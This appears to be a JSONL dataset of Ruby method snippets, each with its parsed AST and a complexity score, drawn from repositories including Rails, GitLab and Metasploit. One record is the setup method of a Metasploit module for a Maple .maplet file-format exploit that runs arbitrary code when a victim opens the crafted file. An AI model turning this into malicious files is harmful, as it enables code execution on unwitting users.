{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/attached/model.rb","start_line":295,"raw_source":"def reload(*) # :nodoc:\n      super.tap { @attachment_changes = nil }\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"reload\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@attachment_changes\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"46eb34a4-6d0d-4211-a170-e5851ade0c06"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240607174854_cleanup_runner_namespaces_with_null_namespace_id.rb","start_line":13,"raw_source":"def up\n    CiRunnerNamespace.where(namespace_id: nil).delete_all\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CiRunnerNamespace\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},\"delete_all\"]}]}","id":"f08ddeb5-73df-4127-999b-acad1f295451"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/models/concerns/agentable.rb","start_line":37,"raw_source":"def template_name\n    self.class.name.demodulize.underscore\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"template_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]},\"demodulize\"]},\"underscore\"]}]}","id":"287705a9-d9b8-4444-ba9f-8b6ee2dd2105"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/families/create.rb","start_line":21,"raw_source":"def call\n      return false unless valid?\n      return false unless validate_user_eligibility\n      return false unless validate_feature_access\n\n      ActiveRecord::Base.transaction do\n        create_family\n        create_owner_membership\n        send_notification\n      end\n\n      true\n    rescue ActiveRecord::RecordInvalid => e\n      handle_record_invalid_error(e)\n\n      false\n    rescue ActiveRecord::RecordNotUnique => e\n      handle_uniqueness_error(e)\n\n      false\n    rescue StandardError => e\n      handle_generic_error(e)\n\n      false\n    end","complexity_score":21.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_user_eligibility\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_feature_access\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_family\"]},{\"type\":\"send\",\"children\":[null,\"create_owner_membership\"]},{\"type\":\"send\",\"children\":[null,\"send_notification\"]}]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_record_invalid_error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotUnique\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_uniqueness_error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_generic_error\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"c2f9ca4d-9e7d-4e81-bed9-9f8a94c06d11"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/analytics/usage_trends/measurement.rb","start_line":46,"raw_source":"def self.identifier_min_max_queries\n        {\n          # Increase query performance by not using filters when fetching min/max ids\n          identifiers[:issues] => {\n            minimum_query: -> { ::Issue.minimum(:id) },\n            maximum_query: -> { ::Issue.maximum(:id) }\n          }\n        }\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"identifier_min_max_queries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"identifiers\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"issues\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minimum_query\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Issue\"]},\"minimum\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"maximum_query\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Issue\"]},\"maximum\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}]}]}","id":"194cde81-7b01-4700-b1fc-d2ee8b4d917e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/ai_helper/chat_thread_titler.rb","start_line":10,"raw_source":"def suggested_title\n        content = thread_content(@thread)\n        return nil if content.blank?\n\n        suggested_title = call_llm(content)\n        return nil if suggested_title.blank?\n\n        cleanup(suggested_title)\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"suggested_title\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[null,\"thread_content\",{\"type\":\"ivar\",\"children\":[\"@thread\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"suggested_title\",{\"type\":\"send\",\"children\":[null,\"call_llm\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suggested_title\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"cleanup\",{\"type\":\"lvar\",\"children\":[\"suggested_title\"]}]}]}]}","id":"b0a475a5-7556-4e6c-a8a6-5a44a06e065e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/fileformat/maple_maplet.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Maple Maplet File Creation and Command Execution',\n        'Description' => %q{\n          This module harnesses Maple's ability to create files and execute commands\n          automatically when opening a Maplet. All versions up to 13 are suspected\n          vulnerable. Testing was conducted with version 13 on Windows. Standard security\n          settings prevent code from running in a normal maple worksheet without user\n          interaction, but those setting do not prevent code in a Maplet from running.\n\n          In order for the payload to be executed, an attacker must convince someone to\n          open a specially modified .maplet file with Maple. By doing so, an attacker can\n          execute arbitrary code as the victim user.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'scriptjunkie'\n        ],\n        'References' => [\n          [ 'CVE', '2010-20120' ],\n          [ 'OSVDB', '64541'],\n          [ 'URL', 'http://www.maplesoft.com/products/maple/' ]\n        ],\n        'Payload' => {\n          'Space' => 1024,\n          'BadChars' => '',\n          'DisableNops' => true,\n          #\t\t\t\t\t'Compat'      =>\n          #\t\t\t\t\t\t{\n          #\t\t\t\t\t\t\t'PayloadType' => 'cmd',\n          #\t\t\t\t\t\t\t'RequiredCmd' => 'generic perl telnet',\n          #\t\t\t\t\t\t}\n        },\n        'Platform' => %w{win linux unix},\n        'Targets' => [\n          [\n            'Windows',\n            {\n              'Arch' => ARCH_X86,\n              'Platform' => 'win'\n            }\n          ],\n\n          [\n            'Windows X64',\n            {\n              'Arch' => ARCH_X64,\n              'Platform' => 'win'\n            }\n          ],\n\n          [\n            'Linux',\n            {\n              'Arch' => ARCH_X86,\n              'Platform' => 'linux'\n            }\n          ],\n\n          [\n            'Linux X64',\n            {\n              'Arch' => ARCH_X64,\n              'Platform' => 'linux'\n            }\n          ],\n\n          [\n            'Universal CMD',\n            {\n              'Arch' => ARCH_CMD,\n              'Platform' => %w{linux unix win}\n            }\n          ]\n\n        ],\n        'DisclosureDate' => '2010-04-26',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TEMPLATE', [ false, 'The file to infect.', '']),\n        OptString.new('FILENAME', [ true, 'The output file.', 'msf.maplet']),\n      ]\n    )\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Maple Maplet File Creation and Command Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module harnesses Maple's ability to create files and execute commands\\n\"]},{\"type\":\"str\",\"children\":[\"          automatically when opening a Maplet. All versions up to 13 are suspected\\n\"]},{\"type\":\"str\",\"children\":[\"          vulnerable. Testing was conducted with version 13 on Windows. Standard security\\n\"]},{\"type\":\"str\",\"children\":[\"          settings prevent code from running in a normal maple worksheet without user\\n\"]},{\"type\":\"str\",\"children\":[\"          interaction, but those setting do not prevent code in a Maplet from running.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          In order for the payload to be executed, an attacker must convince someone to\\n\"]},{\"type\":\"str\",\"children\":[\"          open a specially modified .maplet file with Maple. By doing so, an attacker can\\n\"]},{\"type\":\"str\",\"children\":[\"          execute arbitrary code as the victim user.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"scriptjunkie\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2010-20120\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"64541\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.maplesoft.com/products/maple/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"win\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows X64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux X64\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Universal CMD\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2010-04-26\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TEMPLATE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file to infect.\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The output file.\"]},{\"type\":\"str\",\"children\":[\"msf.maplet\"]}]}]}]}]}]}]}","id":"c105e86b-1d91-4134-a856-4e57b514bb0b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/update_ancestors_service.rb","start_line":217,"raw_source":"def derive_total(work_package, attribute, loader)\n    return if no_children?(work_package, loader)\n\n    work_packages = [work_package] + loader.descendants_of(work_package)\n    values = work_packages\n      .filter(&:included_in_totals_calculation?)\n      .filter_map(&attribute)\n    return if values.empty?\n\n    values.sum.to_f\n  end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"derive_total\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_package\"]},{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"arg\",\"children\":[\"loader\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"no_children?\",{\"type\":\"lvar\",\"children\":[\"work_package\"]},{\"type\":\"lvar\",\"children\":[\"loader\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"work_packages\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loader\"]},\"descendants_of\",{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_packages\"]},\"filter\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"included_in_totals_calculation?\"]}]}]},\"filter_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attribute\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"sum\"]},\"to_f\"]}]}]}","id":"c48cec7c-765f-41dc-ab2c-1a1381dc991d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/email/handler/create_merge_request_handler_spec.rb","start_line":207,"raw_source":"def email_fixture(path)\n    fixture_file(path).gsub('project_id', project.project_id.to_s)\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"email_fixture\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fixture_file\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},\"gsub\",{\"type\":\"str\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"project_id\"]},\"to_s\"]}]}]}","id":"b664d16e-5bd2-4f9a-816c-7f84acf33544"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relations_test.rb","start_line":2398,"raw_source":"def test_relation_join_method\n    assert_equal \"Thank you for the welcome,Thank you again for the welcome\", Post.first.comments.order(:id).join(\",\")\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_relation_join_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Thank you for the welcome,Thank you again for the welcome\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"first\"]},\"comments\"]},\"order\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"join\",{\"type\":\"str\",\"children\":[\",\"]}]}]}]}","id":"7fd5150d-8453-4c84-bfa6-0c83fa3f35b5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/workhorse.rb","start_line":150,"raw_source":"def send_git_patch(repository, diff_refs)\n        params = {\n          'GitalyServer' => gitaly_server_hash(repository),\n          'RawPatchRequest' => Gitaly::RawPatchRequest.new(\n            gitaly_diff_or_patch_hash(repository, diff_refs)\n          ).to_json\n        }\n\n        [\n          SEND_DATA_HEADER,\n          \"git-format-patch:#{encode(params)}\"\n        ]\n      end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"send_git_patch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"repository\"]},{\"type\":\"arg\",\"children\":[\"diff_refs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GitalyServer\"]},{\"type\":\"send\",\"children\":[null,\"gitaly_server_hash\",{\"type\":\"lvar\",\"children\":[\"repository\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RawPatchRequest\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitaly\"]},\"RawPatchRequest\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"gitaly_diff_or_patch_hash\",{\"type\":\"lvar\",\"children\":[\"repository\"]},{\"type\":\"lvar\",\"children\":[\"diff_refs\"]}]}]},\"to_json\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SEND_DATA_HEADER\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"git-format-patch:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"encode\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}]}]}","id":"d7b8b3cc-737c-4fe0-bafb-5507cf9e5b2d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/emails/pipelines.rb","start_line":19,"raw_source":"def pipeline_mail(pipeline, recipient, status)\n      raise ArgumentError if recipient.is_a?(Array)\n\n      @project = pipeline.project\n      @pipeline = pipeline\n\n      @merge_request = if pipeline.merge_request?\n                         pipeline.merge_request\n                       else\n                         pipeline.merge_requests_as_head_pipeline.first\n                       end\n\n      add_headers\n\n      email_with_layout(\n        to: recipient,\n        subject: subject(pipeline_subject(status)))\n    end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pipeline_mail\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]},{\"type\":\"arg\",\"children\":[\"recipient\"]},{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recipient\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@pipeline\",{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@merge_request\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"merge_request?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"merge_request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"merge_requests_as_head_pipeline\"]},\"first\"]}]}]},{\"type\":\"send\",\"children\":[null,\"add_headers\"]},{\"type\":\"send\",\"children\":[null,\"email_with_layout\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"recipient\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"subject\"]},{\"type\":\"send\",\"children\":[null,\"subject\",{\"type\":\"send\",\"children\":[null,\"pipeline_subject\",{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}]}]}]}]}","id":"2290515d-476d-489e-94ef-0d90d047fade"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/apps/rails2/db/migrate/20110523184125_create_accounts.rb","start_line":2,"raw_source":"def self.up\n    create_table :accounts do |t|\n\n      t.timestamps\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"accounts\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}","id":"bb7dc51e-4689-4df6-b75a-06f3dcc0084f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file_collection/base.rb","start_line":77,"raw_source":"def diff_file_with_new_path(new_path)\n          diff_files.find { |diff_file| diff_file.new_path == new_path }\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"diff_file_with_new_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_path\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"diff_files\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff_file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff_file\"]},\"new_path\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"new_path\"]}]}]}]}","id":"0cd716d6-9a10-478f-bb10-6ace432588e9"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/backlogs/app/helpers/rb_common_helper.rb","start_line":219,"raw_source":"def default_work_package_status\n    @default_work_package_status ||= all_work_package_status.detect(&:is_default)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"default_work_package_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@default_work_package_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_work_package_status\"]},\"detect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"is_default\"]}]}]}]}]}","id":"af99467e-57df-4099-81a5-66f1357a1c19"}
